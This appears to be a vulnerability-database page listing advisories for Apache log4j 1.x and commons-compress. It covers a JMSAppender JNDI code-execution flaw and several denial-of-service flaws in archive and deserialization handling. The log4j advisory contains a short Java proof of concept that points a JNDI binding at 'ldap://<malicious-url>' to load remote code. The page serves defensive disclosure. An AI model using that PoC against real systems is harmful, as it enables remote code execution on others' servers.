Find, fix and prevent vulnerabilities in your code.

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4j 2.x vulnerability, the 1.x branch of the module requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.

In order to leverage this vulnerability the following conditions must be met:

1. The application has enabled JMSAppender (or a class that extends JMSAppender)
2. The attacker has access to directly modify the TopicBindingName or TopicConnectionFactoryBindingName configuration variables - which is an unlikely scenario

If these conditions are met, log4j 1.x allows a lookup feature that does not protect against attacker-controlled LDAP and other JNDI related endpoints. Therefore, an attacker with access to the aforementioned configuration variables is able to execute arbitrary code when loaded from an LDAP server.

PoC

import org.apache.log4j.net.JMSAppender;
// ...
JMSAppender a = new JMSAppender();
a.setTopicConnectionFactoryBindingName("ldap://<malicious-url>");
// OR a.setTopicBindingName("ldap://<malicious-url>");
a.activateOptions();

Remediation

There is no fixed version for log4j:log4j.

References

• Apache Mail
• Atlassian Patch
• GitHub Comment
• GitHub Discussion
• PoC in GitHub

Overview

org.apache.commons:commons-compress is an API for working with compression and archive formats.

Affected versions of this package are vulnerable to Denial of Service (DoS). When reading a specially crafted 7Z archive, Compress can be made to allocate large amounts of memory that finally leads to an out-of-memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' sevenz package.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.commons:commons-compress to version 1.21 or higher.

References

• Apache Security Advisory
• Apache Security Advisory
• Git Commit
• Git Commit
• Git Commit
• Git Commit
• Git Commit
• Git Commit
• Git Commit
• GitHub Commit
• Jira Issue

Overview

org.apache.commons:commons-compress is an API for working with compression and archive formats.

Affected versions of this package are vulnerable to Denial of Service (DoS). When reading a specially crafted 7Z archive, the construction of the list of codecs that decompress an entry can result in an infinite loop. This could be used to mount a denial of service attack against services that use Compress' sevenz package.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.commons:commons-compress to version 1.21 or higher.

References

• Apache Security Advisory
• Apache Security Advisory
• Git Commit

Overview

org.apache.commons:commons-compress is an API for working with compression and archive formats.

Affected versions of this package are vulnerable to Denial of Service (DoS). When reading a specially crafted TAR archive, Compress can be made to allocate large amounts of memory that finally leads to an out-of-memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' tar package.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.commons:commons-compress to version 1.21 or higher.

References

• Apache Security Advisory
• Apache Security Advisory
• Git Commit
• Git Commit
• Git Commit

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to Denial of Service (DoS). When using the Chainsaw or SocketAppender components with Log4j 1.x on JRE less than 1.7, an attacker that manages to cause a logging entry involving a specially-crafted, deeply nested hashmap or hashtable (depending on which logging component is in use) to be processed could exhaust the available memory in the virtual machine and achieve denial of service when the object is deserialized.

This issue affects Apache Log4j before 2. Affected users are recommended to update to Log4j 2.x org.apache.logging.log4j/log4j-core.

NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

There is no fixed version for log4j:log4j.

References

• Apache Lists

EPL-1.0 license